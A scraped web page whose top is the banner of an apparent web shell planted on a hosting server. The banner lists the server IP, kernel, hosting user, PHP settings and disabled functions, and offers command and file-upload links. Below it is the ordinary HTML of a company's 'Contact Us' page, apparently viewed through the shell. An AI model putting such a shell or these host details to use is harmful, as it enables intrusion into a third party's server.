|
Server IP : 145.79.210.100 / Your IP : 216.73.216.6 Web Server : LiteSpeed System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64 User : u474798400 ( 474798400) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u474798400/domains/excentia.in/public_html/admin/upload_image/../../old/sass/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!----font awesome cdn-------->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<link rel="stylesheet" href="./sass/style.css">
<link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
<title>Contact Us</title>
<style>
.second .parent {
display: flex;
align-items: start;
justify-content: space-between;
}
.second .parent .left_part {
max-width: 40%;
}
.second .parent .right_part {
width: 55%;
}
.second .parent .left_part .logo_part {
width: 200%;
}
.second .parent .right_part {
margin-left: 0;
}
#nav-wrap{
opacity: 1;
animation: none;
}
#first{
display: block;
}
.logo #second{
display: none;
width: 36%;
}
</style>
</head>
<body>
<header>
<div class="nav_wrap" id="nav-wrap" data-aos="fade-down" data-aos-duration="3000">
<div class="logo">
<a href="index.html">
<img src="./images/logo.png" alt="" id="first">
<img src="./images/excentia-logo.png" alt="" id="second">
</a>
</div>
<div class="menuWithIcons">
<ul>
<li>
<div class="box"></div>
<a href="#">Overview</a>
</li>
<li>
<div class="box"></div>
<a href="#">Services</a>
</li>
<li>
<div class="box"></div>
<a href="#">Client</a>
</li>
<li>
<div class="box"></div>
<a href="#">Recognition</a>
</li>
<li>
<div class="box"></div>
<a href="#">Career</a>
</li>
</ul>
<div class="menu_icon">
<span class="one"></span>
<span class="two"></span>
<span class="three"></span>
</div>
</div>
</div>
<div class="menu-items-container">
<ul>
<li><a href="index.html" class="menu-1">Home</a></li>
<li><a href="about_us.html" class="menu-2">About Us</a></li>
<li><a href="projects.html" class="menu-3">Projects</a></li>
<li><a href="#" class="menu-4">Portfolio</a></li>
<li><a href="#" class="menu-5">Innovation</a></li>
<li><a href="contact.html" class="menu-6">Contact Us</a></li>
</ul>
</div>
</header>
<section class="second">
<h3 class="caption" data-aos="fade-up">Contact Us<span class="underline"></span></h3>
<span data-aos="fade-up">We'd love to</span>
<h1 data-aos="fade-up">hear from</h1>
<div class="parent">
<div class="left_part">
<h1 data-aos="fade-up">you</h1>
<div class="logo_part" data-aos="fade-up">
<!-- <img src="images\map-image.jpg" alt=""> -->
<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3501.583616640265!2d77.288179!3d28.642239000000004!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x390cfb582339c65d%3A0xd983850f2a905095!2sa%20b%2C%20B%2F12%2C%20Block%20B%2C%20Swasthya%20Vihar%2C%20New%20Delhi%2C%20Delhi%2C%20110092!5e0!3m2!1sen!2sin!4v1716368853515!5m2!1sen!2sin" width="100%" height="900" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>
</div>
</div>
<div class="right_part" data-aos="fade-up">
<form action="">
<input data-aos="fade-up" type="text" placeholder="First Name" id="" name=""/>
<input data-aos="fade-up" type="text" placeholder="Last Name" id="" name=""/>
<input data-aos="fade-up" type="text" placeholder="Phone Number" id="" name=""/>
<input data-aos="fade-up" type="email" placeholder="Email" id="" name=""/>
<textarea data-aos="fade-up" name="" id="" cols="30" rows="10" placeholder="Message"></textarea>
<div data-aos="fade-up" class="submit_btn"><button>Submit Now</button></div>
</form>
</div>
</div>
</section>
<footer>
<div class="left-footer">
<div class="menus">
<ul data-aos="fade-up" data-aos-duration="3000">
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Projects</a></li>
<li><a href="#">Media</a></li>
<li><a href="#">Work With US</a></li>
<li><a href="#">Contact</a></li>
</ul>
</div>
<div class="copyright">
Copyright © 2024 Itinfo Technologies Pvt. Ltd. All rights reserved.
</div>
</div>
<div class="middle-footer">
<div class="logo" data-aos="fade-up" data-aos-duration="3000">
<img src="./images/footer_logo.png" alt="">
</div>
<div class="social_icons">
<ul>
<li><a href="#"><i class="fa-brands fa-facebook-f"></i></a></li>
<li><a href="#"><i class="fa-brands fa-twitter"></i></a></li>
<li><a href="#"><i class="fa-brands fa-linkedin-in"></i></a></li>
<li><a href="#"><i class="fa-brands fa-instagram"></i></a></li>
<li><a href="#"><i class="fa-brands fa-youtube"></i></a></li>
</ul>
</div>
</div>
<div class="right-footer">
<div class="phone_number" data-aos="fade-up" data-aos-duration="3000"><b>Phone Number-</b> 011-22517733, 011-22527733</div>
<div class="address" data-aos="fade-up" data-aos-duration="3000"><b>Address-</b> A-12, Swasthya Vihar, Vikas Marg, Delhi-110092</div>
<div class="email"><b>Email-</b> info@excentia.in</div>
</div>
</footer>
<script src="./js/commonMenu.js"></script>
<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
<script>
AOS.init({
duration:1500
});
</script>
<script>
window.onscroll = function() {myFunction()};
logo_1= document.querySelector("#first");
logo_2=document.querySelector("#second")
function myFunction() {
if (document.documentElement.scrollTop > 50) {
logo_1.style.display="none";
logo_2.style.display="block";
document.querySelector(".nav_wrap").style.backgroundColor="rgba(255,255,255,1)"
} else {
logo_1.style.display="block";
logo_2.style.display="none";
document.querySelector(".nav_wrap").style.backgroundColor="transparent"
}
}
</script>
</body>
</html>